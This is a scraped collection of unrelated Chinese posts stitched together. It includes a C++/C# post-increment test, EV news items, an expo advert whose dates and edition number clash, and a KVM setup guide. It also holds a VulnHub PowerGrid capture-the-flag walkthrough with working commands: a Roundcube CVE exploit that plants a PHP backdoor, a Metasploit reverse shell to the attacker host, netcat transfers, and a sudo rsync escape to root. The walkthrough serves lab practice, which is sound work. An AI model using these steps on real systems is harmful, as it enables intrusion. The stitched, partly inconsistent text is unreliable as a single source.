【C++和C#的區別雜談】后自增運算符的結算時機

C++和C#的前自增++n和后自增n++,都是先自增后取值先取值后自增的含義,但在複雜一點的賦值語句中,我發現細節上有很大的差異。

發現這個問題主要是一個無聊的晚上,我想搞清楚后自增是什麼時候結算,自己搗鼓了一下之後我把我自己的測試結果告訴了朋友,結果學java的朋友和我爭論了半天,最後發現同樣的代碼,大家輸出是不一樣的。之後我又用了C#寫了同樣的測試代碼,發現輸出和他java是一樣的,這讓我豁然開朗,遂寫下這篇博客希望分享我的結論,如果有錯誤的話,歡迎評論區指正。

前排提醒:C++和C#我都是用的VS2017,不同編譯環境的C++代碼輸出結果可能不一樣

先說我的結論:

C++:i++遇到順序點(逗號,分號)之後i才自增,即我一直以來認為的一條語句結束后結算。但++i前自增的值會影響賦值語句所有i的值。

C#:C#不允許使用‘,’逗號運算符,但也並非到’;’分號才結算,賦值語句是從左到右,按序取值,i++在取完i的值之後馬上就自增了,但不影響之前取的i的值,隻影響後續i的取值。

心得:實際開發還是盡量自增單行寫,第一個是可讀性好,第二個是不容易出問題。(應該也就只有筆試會出現以下實驗的代碼了)

結論看不明白的可以看看我無聊的小實驗:

最簡單常見的版本:

int arr[] = { 0,0,0 };
int n = 0;
arr[n] = n++;//語句a
for (int num : arr)
{
	cout << num << ' ';
}
//輸出是0 0 0,語句a結束后n自增到1

上面這段代碼其實在C#也是一樣的輸出,但如果下面這樣寫,結果就不一樣了。

C++版:

int arr[] = { 0,0,0 };
int n = 0;
arr[n++] = n;//語句a
for (int num : arr)
{
	cout << num << ' ';
}
//輸出是0 0 0,語句a結束后n自增到1,C++結果和上面的一樣

C#版:

int[] arr = { 0, 0, 0 };
int n = 0;
arr[n++] = n;//語句a
foreach (int num in arr)
{
	Console.Write(num + " ");
}
//輸出是1 0 0,現在應該能理解結論了,從左到右,先取n作為索引值,然後自增之後影響到了等號右邊的n的值
//語句a則為arr[0] = 1;

就是這樣的差異開始引申出了問題,也是讓我迷惑的開始,接下來我會通過更複雜的例子和反彙編的指令來解釋和證明我的結論,先列舉C++的部分,之後再C#,感興趣的可以往下看。

C++部分:

//代碼01
int arr[] = { 0,0,0 };
int n = 0;
arr[n++] = n + (n++) + ++n;
for (int num : arr)
{
	cout << num << ' ';
}
//輸出為0 3 0,具體操作流程為語句先結算了++n,使得n自增到1.而出現的兩個n++都在賦值語句結束后結算
//所以編譯結果為arr[1] = 1 + 1 + 1; 然後i自增兩次到3

以下為反彙編的結果:

一開始看到這個我有點懵逼,但是通過比對下面這段代碼的反彙編指令,就能看出來了。

//代碼02
int[] arr = { 0, 0, 0 };
int n = 0;
arr[++n] = n + (n++) + ++n;//把索引處的n++改為了++n
foreach (int num in arr)
{
	Console.Write(num + " ");
}
//輸出為0 0 6,具體操作流程為語句先結算兩次++n,使得n自增到2.而n++在賦值語句結束后結算
//所以編譯結果為arr[2] = 2 + 2 + 2; 然後i自增到3
//這下應該發現n在這條語句中取值的時候都是同樣的值了

以下為上面代碼02的反彙編結果:

通過和上面的指令比對可以看出來了,具體差異在00251F3A這段指令,arr[++n]這段代碼02在累加前多進行了一次對n的自增,然後將自增后的值賦給了n,然後開始進行累加,而上面arr[n++]那段代碼01是在累加結束之後,在01161F4A那條指令對n++進行自增的結算,所以就算看不懂全部的指令,也應該能通過比對這兩段代碼看出他們的差異,從而證明了C++對於后自增的處理,是在語句結束之後結算

說到語句結束,我之前寫了一篇關於逗號運算符的博客,可以結合今天這個結論看看下面這段代碼的輸出結果。

int arr[] = { 0,0,0 };
int n = 0;
arr[n] = (n++, n + (n++) + ++n);//在逗號左邊添加了n++的語句
for (int num : arr)
{
	cout << num << ' ';
}
//輸出為0 0 6
//原因為逗號也屬於一條語句結束的標誌,所以結算了n++,n=1,然後執行新的語句n + (n++) + ++n
//逗號右邊的語句先結算了++n,n=2,所以最後賦值語句為arr[2] = 2 + 2 + 2; 然後n++到3

至此C++的部分結束。

接下來C#的測試結果將顛覆上面的結論,如果不用java或者C#的話,下面的內容可能沒有用(朋友java的輸出結果和我C#一樣,不過也是希望大家自己試試,我自己沒有試過)

C#部分:

//代碼01 C#版
int[] arr = { 0, 0, 0 };
int n = 0;
arr[n++] = n + (n++) + ++n;
foreach (int num in arr)
{
	Console.Write(num + " ");
}
//輸出為5 0 0 和VC++完全不一樣對吧
//具體原因為C#的賦值語句是從左到右,先取了n的值作為索引,然後馬上對n自增,n=1
//來到等號右邊,第一個n取值為1,第二個n取值為1,然後自增到2,第三個n先自增到3,然後取值為3
//所以最終編譯結果為arr[0] = 1 + 1 + 3;  即5 0 0的原因
//為了節省篇幅,我直接告訴你arr[++n] = n + (n++) + ++n的結果為0 5 0,如果你上面看懂了這個應該也懂

貼一下C#這段代碼的反彙編結果:

可以看到第一行是取n的值,然後把n作為索引值,之後inc指令對n自增1。證明了上面的結論。

即:C#的賦值語句為從左到右,按序取值,n++在取完n的值之後馬上自增,但不影響之前取的值,隻影響後續n的取值

小結:

所以++n 先自增后取值n++ 先取值后自增是能直接套在C#上的,而對於VC++來說,后自增的結算是非常“緩慢”的,到語句結束才結算。

感謝您的觀看。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

不需充電的零排放氫燃料電池機車 北市府試用評估成效

    繼新北市電動機車 E-bike 於 10 月上路後,台北市政府也採用能源局補助業者研發旳氫燃料電池機車,每台配備 2 支金屬儲氫罐,交換費用 30 元,行駛中排水,但二氧化碳排放為 0,續航力定速時可達 86 公里,不過,若在行駛市區時,遇上紅綠燈走走停停,續航力會降為 50 公里。環保局表示,廠商提供試騎的 15 輛氫燃料電池機車將用於環保稽查、工地巡查、土地丈量等業務。   環保局表示,氫燃料電池首創用於機車,金屬容器包覆氫氧化物粉末,相較氣體狀較安全,業者提供的 15 部試騎機車將停於於市府公務停車場,也會提供交換氣體,試用 3 個月後評估成效。   負責研發的亞太燃料電池科技專案經理陳建豪表示,氣燃料電池不須充電,而是利用能源轉換,將氫氣透過觸媒轉換成電能,轉換過程僅會排放水,該款氫燃料電池機車時速最快可達 60 公里。業者說,量產後機車售價約 7 萬元,但免燃料稅。陳建豪表示,全球各國多有氫燃料電池的安全使用規範,但台灣沒有,盼政府能協助立法。     (Source:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

2015第六屆廣州國際新能源汽車工業展覽會

綠色科技   領航未來

時間:2015年5月16-18日

地點:廣州琶洲保利世貿博覽館

主辦單位:廣州中汽國際展覽有限公司

  • 專業的組織機構——展會是中汽國際展覽有限公司按照“專業化、國際化、品牌化”原則舉辦的新能源汽車及配套設施行業國際品牌盛會。國內外多家單位協辦,既有政府支持,又有行業權威的參與。展會舉行期間,將有商務部及省市領導、業界權威人士蒞臨展會參觀指導並出席開幕剪綵。
  • 龐大採購團隊——盛會將邀請來自中國、美國、德國、法國、英國、義大利、巴西、墨西哥、西班牙、俄羅斯、瑞典、捷克、匈牙利、中東、日本、韓國、印度、土耳其、新加坡、越南、泰國、臺灣、香港、澳門等國家和地區眾多新能源汽車及配套設施進出口貿易商、代理商、經銷商及國際著名相關採購協會組織率團到會參觀採購。
  • 高端論壇——展會將邀請新能源汽車及配套設施行業權威專家,討論中外新能源汽車及配套設施行業最新動態、發展趨勢、分工格局、相關對策等多個熱門議題。就中國新能源汽車及配套設施行業發展現狀及所面臨的問題作深入報告,針對中國新能源汽車及配套設施行業市場行情作研究報告,並對產品開發、技術創新等作細緻的演講。屆時,將安排我們認為在國際新能源汽車及配套設施領域,具有影響力的企業介紹產品概況、最新技術動向等進行講座和交流。擬邀請中國政府高級官員,有關專家、學者,國際著名機構代表,著名新能源汽車及配套設施產品供應商、採購商,中國新能源汽車及配套設施市場企業代表和其他專業觀眾出席,其行業的引導性和權威性令人期待,是中國新能源汽車及配套設施產業發展和國際交流合作的風向標,將是獲取新能源汽車及配套設施行業資訊和把握國際市場的最佳平臺。

展會介紹

在能源匱乏的時代,綠色、節能、環保成為經濟發展的核心主題,新能源汽車具有良好的環保性能和燃料經濟性好、運行成本低等優勢,既可以保護環境,又可以緩解能源的短缺並能調整能源的結構,保障能源的安全。

21世紀是一個面臨能源和環境巨大挑戰的世紀,傳統燃油汽車將向高效低排放的電動汽車及混合動力車方向發展。大力發展新能源汽車是能源與環境的必然要求,而且,中國發展新能源汽車的壓力更為緊迫。根據國家《汽車與新能源汽車產業發展規劃》(2011-2020),將在“十二五”期間重點發展清潔能源汽車,未來十年僅中央財政就投入上千億元用來支持以純電動車、混合動力汽車為代表的節能與新能源汽車的研發與推廣。2014年多地出臺補貼政策,2014年5月24日上午,國家主席習近平在上海汽車集團考察時強調,發展新能源汽車是我國從汽車大國邁向汽車強國的必由之路,要加大研發力度,認真研究市場,用好用活政策,開發適應各種需求的產品,使之成為一個強勁的增長點。可以預見,未來我國新能源汽車將會快速發展。

廣州是廣東省會,改革開放前沿城市,中國對外貿易的重要視窗,經濟實力雄厚,市場潛力巨大。廣東是泛珠三角經濟區域的中心,毗鄰港、澳、台,輻射東南亞,海、陸、空交通便利,市場輻射面廣,經濟發達。隨著CEPA的實施,粵、港、澳以及泛珠三角(9+2)區域合作與發展的良性互動,必將給新能源汽車及配套設施產業創造無限美好的發展前景。為順應高速發展的新能源汽車及配套設施行業,廣州中汽國際展覽有限公司聯合行業權威機構定于2015年6月8-10日在廣州琶洲保利世貿博覽館舉辦“2015第三屆廣州國際新能源汽車工業展覽會”(NEA CHINA 2015),展會將深化活動內涵,秉乘推動行業發展、為企業服務的宗旨,為商家提供一個拓展業務、技術交流、展示實力、獲取資訊、結交客戶、推廣新產品、尋找合作夥伴的國際商貿平臺。

我們將以“突出品牌、開拓創新、注重實效、強化服務”的辦展宗旨,憑藉獨特的創意,科學的組織管理和卓越的服務,以全新的理念為廣大中外參展商提供一個“高水準、高品味、高品質”的展示交流平臺,為全球新能源汽車及配套設施行業提供更多的合作機會,有力推動中國新能源汽車及配套設施產品全面進入全球採購體系,與世界各國新能源汽車及配套設施產業協調合作、互利共贏、共同發展進步。

展品範圍

  • 純電動車:轎車、大巴、公車、各旅行車、各種純電動特種車(環衛車、電力車、郵政車、小型客貨車、高爾夫車、房車、叉車、搬運車、旅遊觀光車、醫療車、警用車、摩托車、三輪車等);
  • 混合動力車:轎車、大巴、公車、各型旅行車等;
  • 其他能源車:超級電容、燃料電池、氫能、生物燃料、太陽能及氫能源、天然氣等各種新能源、清潔燃料及低排放、環保節能型車等;
  • 零部件:低排放節能型發動機、混合動力發動機及清潔燃料發動機;動力電池與管理系統;整車匯流排與控制系統;電機與電控系統;充電裝置;儲能裝置等;能源管理系統;電力電容器、飛輪、逆變器、電熱泵、電動助力轉向、電動空調、功率模組等;相關材料、工藝、技術;相關檢測、監控、試驗、安全防護裝備;維修、製造設備和工具等;
  • 充電設施:充電站智慧型網路專案規劃及成果展示,加油站擴建充(換)電站、加油充電綜合服務站展示,太陽能、風能互補新能源汽車充電站技術產品,充電站充電機、充電樁、配電設備、變壓器、更換設備、電能、監控系統、有源濾波裝置、配電櫃、電覽、直接充電設備、管理輔助設備、充換電池及電池管理系統、停車場充電設施、智慧監控、充電站供電解決方案、充電站等。
  • 其他:新能源汽車的整車及系統控制設計等。

目標觀眾

主辦單位將重點邀請的目標觀眾包括:

1、商務部、發改委、科技部、工信部、國家環保局等各局、司、中心、所領導;
2、全國各省市主管部門領導、大型企事業、機關單位領導;
3、全國各高校、科研單位、設計院、研究院、協(學)會領導;
4、公交、出租、環衛、郵政等單位負責人;車站、機場、碼頭、房地產、大型物業公司、高爾夫球場、旅遊景點、公園、體育場館、大專院校、醫院、療養院、度假村等單位負責人;
5、國內外著名生產、代理、經銷商、貿易公司等業內人士參觀、參展、技術交流。

展會日程
報到布展:2015年5月14-15日
展出時間:2015年5月16-18日
撤展時間:2015年5月18日下午

歡迎業界同仁踴躍報名參展,現正接受申請,請速與組委會聯繫,索取參展申請表及展位平面圖!
充分利用NEA CHINA 2015,鞏固您的市場地位!

Official website/大會官方網站:

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

桃園縣大力推廣電動機車 購買補助額度全國第一

隨著環保意識抬頭,越來越多地方政府推政策因應環保趨勢。桃園縣環保局鼓勵民眾使用電動機車,除了購車補助額度位居全國第一,更推出免費試騎 7 天的活動,讓民眾能夠體驗電動機車的高續航力及充電迅速等便利性,增加使用環保運具的意願。

桃園縣政府環境保護局為改善空氣品質,積極推廣使用電動機車等低污染交通工具,環保局局長陳世偉表示,電動車輛具有零加油、零廢氣、低保養、低噪音及低充電費等特性,是最環保的交通工具;尤其現在電池技術成熟,使得電動車輛的續航力大增,壽命也有效延長保固。

  (Source:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

奧迪開發新款純電動車 將 Tesla Model S 視為對手

Audi 近期正在開發全新、續航力達 450 公里的純電動車款,預計於 2017 年推出,Audi 技術總監 Prof. Dr. Ulrich Hackenberg 透露該系列定位為 Tesla Model S 的對手,目前仍不確定該電動車是否會加入奧迪現有車系,例如像先前曾推出過的 Audi A3 e-Tron,或是會以全新的車款來販售。   Ulrich Hackenberg 指出,這部正在開發中的純電動車,將會整合 R8 e-tron 的設計及技術,目標是要達成 450 公里的續航力。Hackenberg 進一步表示,這輛車將在 2017 年上市,但不會是跑車。   能達到 450 公里的續航力主要是拜 Audi 新一代的電動馬達及電池所賜,該系統具有更高的電力效能,Volkswagen 動力開發總監 Dr. Heinz-Jakob Neußer 即指出,該電動馬達比現今的電動車(像是 e-Golf)具有高達 5 倍的電力效能。   Hackenberg 對 Audi 未來全電動車系的細節仍不願透露,但預計會採用轎車大小的車體,因為轎車的空間較有利在車板下方放置更大且更有力的電池,如此才不會影響電池運作或減少乘客空間。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

日產電動車全球銷量突破 20 萬台 市占近 6 成

日產汽車 (Nissan) 26 日宣佈,雷諾日產聯盟 (Renault-Nissan Alliance) 電動車 (EV) 全球累計銷售量已正式突破 20 萬台,於全球 EV 市場的市佔率高達 58%;其中日產 EV「Leaf」銷售量約 15 萬台,包含雷諾「Twizy」等其他 4 款車種銷售量約 5 萬台。日產指出,20 萬台 EV 的行駛距離已高達約 40 億 km、足可繞地球跑 10 萬圈以上,且節省了 2 億公升燃料、減排了 4.5 億公斤 CO2。   日產指出,2014 年 1 月至 11 月初期間,雷諾日產聯盟 EV 全球銷售量較去年同期大增 20% 至 6 萬 6,500 台,其中 Leaf 於美國市場的銷售量比其他同業 EV 車款及插電式油電混合車 (PHV) 車款的合計銷售量還高,有望成為美國今年最暢銷的 EV 車款。   日產表示,今年 Leaf 美國銷售量預估將年增 35%,且其月銷售量已連 21 個月創史上新高紀錄,而 1 至 10 月的銷售量已超越 2013 年全年水準,篤定將再創新高紀錄。  

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

VulnHub PowerGrid 1.0.1靶機滲透

​本文首發於微信公眾號:VulnHub PowerGrid 1.0.1靶機滲透,未經授權,禁止轉載。

難度評級:官網地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼雲盤:https://cloud.189.cn/t/2UN7Ffiuqyym百度網盤:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取碼:r4zc官網簡介:靶機會進行計時,即使關閉虛擬機也不會停止,超時后將銷毀證據滲透目標:獲取root權限,找到4個flag本機地址:192.168.110.27靶機地址:192.168.110.36 
    

 

信息收集

話不多說,直接上nmap看靶機IP。

nmap 192.168.110.0/24 -sP
    

本機是192.168.110.27,那靶機就是192.168.110.36。接着掃一下端口。

nmap -A -p- 192.168.110.36
    

沒有打開22號端口可還行,第一次見到這麼任性的靶機。沒關係,80端口終歸還是打開了的,看看網頁。

網頁端显示了一個計時器,文字說明提示這是一封勒索信,3個小時之內要交250億歐元,這黑客可是真夠黑的。不過,這個網頁的最後透露了deez1、p48、all2這幾個用戶名,需要留意一下。

按照規矩,一般都會遍歷一下網頁的目錄。

dirb http://192.168.110.36
    

什麼也沒有可還行,不過按照以前的經驗(VulnHub CengBox2靶機滲透),有可能是默認字典不夠大,使用dirbuster的字典再掃一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w
    

發現images目錄和zmail頁面。

images目錄就是兩張背景圖片,沒什麼用,而訪問zmail頁面則彈出一個登錄對話框,使用幾個常見密碼和用戶名登錄失敗,嘗試使用burp爆破。

對登錄界面抓包后發現用戶名密碼採用了Base64編碼,使用burp自帶的解碼器解碼。

其實就是在用戶名和密碼之間插入了一個冒號。接下來使用最經典的rockyou密碼字典爆破,用戶名則選擇deez1、p48、all2。

經過漫長的等待,終於發現有一個響應包的長度跟其他的不一樣。

成功獲取登錄密碼,登錄后發現又是一個登錄界面。

使用同樣的用戶名密碼登錄嘗試,登錄成功(簡直多此一舉)。登錄后發現root發送過來了一封右鍵。

郵件中寫道還有另一台服務器,下面的加密信息就是SSH的私鑰,是用p48的gpg私鑰加密的,可以用來登錄那台服務器但沒必要。呵呵,沒必要?我會聽你的?你個糟老頭子壞得很。不過暫時還沒有辦法解密消息,先把加密消息保存下來。

由於在網頁端可以寫郵件,因此猜測能通過附件上傳PHP木馬,經過嘗試后並不奏效,只好去查找roundcube的漏洞。

msfconsole search roundcube
    

痛苦,在Metasploit里找不到相關漏洞。不過不用灰心,說不定在網上能找到。

經過查找后發現小於1.2.2版本的roundcube存在代碼執行漏洞,編碼為CVE-2016-9920,GitHub鏈接為:https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git
    

 

 

漏洞利用

這個exp是用python寫的,不過作者給的示例都不能使用,因為靶機上有兩個登錄界面,而正常來說,網站只需要登錄一次就夠了。另外,需要更改exp的發件人與收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"
    

攻擊成功,現在只需要訪問http://192.168.110.36/zmail/backdoor.php即可執行命令了。先看看/var/www/目錄下都有些啥東西。

很好,發現了第一個flag文件,趕緊查看一下內容。

提示是pivote,並沒有什麼用。既然已經可以執行任意命令,那麼就可以配合msf獲取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun
    

執行之後會显示一條以php開頭的命令,複製到瀏覽器訪問。

這時msf已經成功獲取session了。

sessions -lsessions -i 1shell
    

很無奈,每次拿到的shell都很不好用,沒有安全感。利用python將難用的shell改成bash。

whereis python
    

發現有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'
    

成功獲取了www-data的bash,接下來就要作點妖了,先看看家目錄下都有哪些用戶。

cd /homels
    

很好,有一個叫p48的用戶,這個用戶的網頁端密碼之前已經爆破出來了,嘗試切換到p48。

完美,p48跟我一樣,喜歡一個密碼到處用,更驚喜的是p48家目錄下有一個gpg私鑰,這應該就是可以解密網頁端加密消息的私鑰了(翻譯翻譯,什麼叫驚喜)。

不過奇怪的是,靶機上竟然沒有gpg命令,必須拷貝到攻擊主機上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg
    

接下來解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa
    

解密后還需要把id_rsa傳回到靶機,同樣使用的nc,這裏就不贅述了。

現在問題來了,這個SSH私鑰文件是要拿來連接誰的呢?郵件里root說的另一台服務器在哪呢?莫非這台靶機上還運行了虛擬機?查看一下IP看看有什麼貓膩。

有一個叫docker0的網卡,這台靶機應該還運行着docker,所謂的另一台服務器應該就在容器里運行着。

掃一下172.17.0.0/24這個網段(網卡信息显示網段為172.17.0.0/16,不過172.17.0.0/24的範圍更大,因此不會漏掉可能的IP),看看另一台靶機的端口是多少。由於靶機沒有安裝nmap,所以只能使用循環加ping的方法判斷。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done
    

還好IP比較靠前,一下子就掃出來了。接着使用SSH私鑰登錄。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

    

登錄后很容易就發現了第二個flag。

第二個flag提示p48的用戶權限不高,很明顯,這是提示要提權了。

 

 

 

權限提升

首先看看有什麼命令是可以提權執行的。

sudo -l
    

rsync命令可以免密碼以root用戶權限運行,rsync命令可以理解成一個加強版的cp命令,既然可以使用root權限運行,那麼就可以把/root/下的所有文件拷貝到/tmp目錄下查看。

第三個flag已經出來了,這個flag提示pivoting backwards,難不成第四個flag在docker外?由於最開始掃描靶機端口時22號端口沒有打開,這裏又提示要往回找第四個flag,我們有理由懷疑靶機在docker0網卡上開放了SSH服務,往外連接試試。

實錘了,可以通過172.17.0.1連接到靶機。不過並不知道密碼,p48用戶家目錄下的.ssh目錄里也沒有存放SSH私鑰,這是一件很頭疼的事。

經過查詢,發現rsync命令不僅可以用來拷貝文件,還可以用來提權。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami
    

很好,已經成功提權到root,接下來查看/root/.ssh/目錄下有沒有SSH私鑰。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1
    

不出所料,成功登錄到外面的靶機。接下來就是查找第四個flag了。

第四個flag就存放在/root/目錄下,根據提示,這是最後一個flag了。

至此,對PowerGrid的滲透已經全部完成。

 

 

 

總結

這個靶機整體偏難,首先是網頁端的爆破,一般的密碼字典很難跑出來,而rockyou這個密碼字典又很大,如果不耐心等待的話很難爆破出來。
其次是這台靶機多次用到了公私鑰,如果對非對稱加密和gpg工具不熟悉的話,可能就會無法進入下一關。

這台靶機還運行着docker,就相當於有兩台靶機,這是PowerGrid比較新穎的地方。另外,3個小時的時間限制也為滲透增加了幾分緊張刺激的氣氛。

整體來說,這台靶機在形式上有一定的創新性,很值得下載下來親自復現一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

一文告訴你Linux如何配置KVM虛擬化–安裝篇

KVM全稱”Kernel-based Virtual Machine”,即基於內核的虛擬機,在linux內啟用kvm需要硬件,內核和軟件(qemu)支持,這篇文章教你如何配置並安裝KVM虛擬機.

  • 檢查硬件和系統的兼容性

    • 檢查硬件虛擬化:LC_ALL=C lscpu | grep Virtualization
      這行代碼其中 LC_ALL=C為設置輸出語言用,lscpu輸出CPU信息,在輸出的CPU信息裏面查找“Virtualization”(虛擬化),輸出結果如果有”AMD-V”(AMD CPU) 或者”VT-X”(Intel CPU),則說明你的電腦硬件支持並且已開啟虛擬化,可以下一步
      那如果沒有显示以上兩種呢,就進入BIOS(或者UEFI)找到虛擬化/virtualization/VT-X/AMD-V一般來說是這四個名字裏面任意一個,當然,如果你的班子BIOS裏面是virtualization裏面有vt-x和vt-d兩個的話,就兩個都開。然後,理論上你就能繼續了,除非,你的硬件 根本不支持虛擬化(除非廠家手動閹割,現在一般不會有這問題,博主的本本一開始買來BIOS裏面就是沒有AMD-V的,後來就是靠BIOS更新加上的)。
      舉個例子:博主linux上的显示是:Virtualization: AMD-V則證明該電腦支持AMD 的虛擬化技術

    • 檢查系統是否支持lsmod | grep kvm
      這行代碼告訴你系統是否加載了KVM有關模塊,如果有輸出相關模塊,請看kvm配置,否則接着看kvm的安裝(kvm基於內核,需要內核模塊才能正常工作)

  • KVM 安裝過程
    KVM的依賴項除了內核和內核模塊主要有這些:firewalld(防火牆),dnsmasq,ebtables(網絡方面),libvirt(虛擬化接口),qemu(虛擬機本體)。另外,使用bridge-utils可以設置網卡橋接。
    知道了需要的包,安裝就好了.
    如果你的系統是Centos(RHEL/Fedora同理)你完全可以在安裝的時候就選擇虛擬化服務器的,如果要手動安裝,那麼需要跑這樣一條命令(CENTOS8/fedora可能需要把yum替換為dnf):
    sudo yum install -y virt-* libvirt bridge-utils qemu qemu-img qemu-kvm,需不需要操作selinux就看着辦,如果因為selinux的原因導致無法開機,那就改,沒問題就不需要動了(博主不是專業的運維。平時主玩ARCH,對這塊不是特別了解)

玩Ubuntu系列(ubuntu/deepin/mate/kali……)的同學安裝kvm的話也類似,不過這包名可能和上面有所不同,代碼如下:
sudo apt install qemu qemu-kvm libvirt-bin bridge-utils

Arch用戶
sudo pacman -S qemu libvirt ebtables dnsmasq firewalld bridge-utils

安裝完軟件包,接下來開啟防火牆和libvirt守護進程
sudo systemctl start firewalld && sudo systemctl start libvirtd需不需要enable看你們自己的需要,如果是虛擬化母機或者經常用到虛擬機的話,那麼建議enable,開機自動把虛擬化服務啟動。

講完了基礎安裝工作,剩下的就是你如何控制kvm的事情了。圖形化/命令行

圖形化控制KVM一般使用virt-manager(中文名:虛擬系統管理器),剩下的就是圖形化設置的工作了。

嗯,沒錯,就是這個東西,創建虛擬機的話,只需要點創建虛擬機按鈕就好了(就是圖上那個亮着的按鈕)。

然後,連接這裏選擇QEMU/KVM,就是使用KVM虛擬機創建.

    番外內容:[有的同學可能先裝了libvirt和virt-manager后裝qemu的,就會出現沒有連接或者連接裏面沒有KVM的,那麼,在確保kvm服務開啟的狀態下,點擊文件,添加連接。
        ![](https://img2020.cnblogs.com/blog/2045563/202006/2045563-20200625211926555-1690702968.png)
    出來這個頁面,這裏不用動,直接確定,不出意外,你就能導入KVM的連接了,需要知道的是,如果你之前使用virsh或者qemu命令行管理的話,你能夠在這裏導入kvm連接,但是,並不能接管原來創建的虛擬機。]

至於以何種方式創建虛擬機,就看你需要,不過一般使用第一項使用ISO安裝系統,如果你之前有kvm/qemu的磁盤鏡像(qcow2),你也可以用第四個(導入現有磁盤鏡像).

這裏選擇需要使用的ISO鏡像文件.
點擊瀏覽彈出這個窗口

然後本地瀏覽選擇鏡像

選擇CPU/運行內存資源

然後創建虛擬硬盤,這裏如果你有現成的qcow2/row鏡像,你也可以直接拿來用。
番外內容:[需要注意這點:通過libvirt 創建qemu鏡像的大小是固定的,就是分多少它馬上就吃多少的,不像vmware這樣會動態擴展,當然,也可以實現,需要參考下面使用代碼創建虛擬機]
然後沒有什麼問題了,就直接點完成,開始安裝系統,安裝系統過程,這裏就不贅述了,至於基礎的管理工作,進去虛擬機的窗口,點擊那個管理按鈕,會進入類似於vmware虛擬機設置的頁面,在裏面可以進行操作(部分操作需要關機)。

下面是代碼創建虛擬機的介紹(高級玩法可能需要手動修改XML文件,這裏就暫時不介紹了)

  • 首先,你需要使用virsh這個命令來管理虛擬機,先創建存儲卷(磁盤鏡像)
    virsh vol-create-as poolname volumename 10GiB --format aw|bochs|raw|qcow|qcow2|vmdk
    一般QEMU/KVM支持的鏡像為qcow/qcow2/row
    或者使用qemu-img來創建鏡像
    敲黑板:qemu-img除了可以創建鏡像以外,也和virsh一樣支持鏡像修改,另外,qemu-img創建鏡像可以選擇預分配模式,從而解決上面使用圖形化鏡像過大的問題.
    qemu-img create -f 'qcow2' -o preallocation=off /home/udream/test.qcow2 10G 這樣就可以創建一個10G大小的,關閉預分配的qcow2鏡像,這個鏡像文件沒安裝系統之前的大小是192.2Kb,默認直接創建的大小為10G
    然後,有了磁盤鏡像,就可以創建虛擬機了
    舉例代碼如下:
             virt-install  \
  -        --name test \
           --memory 4096             \
           --vcpus=2,maxvcpus=4      \
           --cpu host                \
           --cdrom $HOME/test.iso \
           --disk  /home/udream/test.qcow2,size=10GiB  \
           --network user            \
           --virt-type kvm   

這段代碼指定了虛擬機名字test,內存1g,CPU最少2核最大4核,安裝盤位置:$HOME/test.iso,盤的大小,網絡類型,虛擬化接口KVM,使用之前創建的虛擬盤 /home/udream/test.qcow2 大小 10G

  創建完成虛擬機以後使用```virsh start 虛擬機名字```啟動虛擬機
  關閉虛擬機把start改為shutdown,強制關機為destory,重啟是reboot
  管理虛擬網絡,使用virsh net-後面跟操作(start/destory/create……)
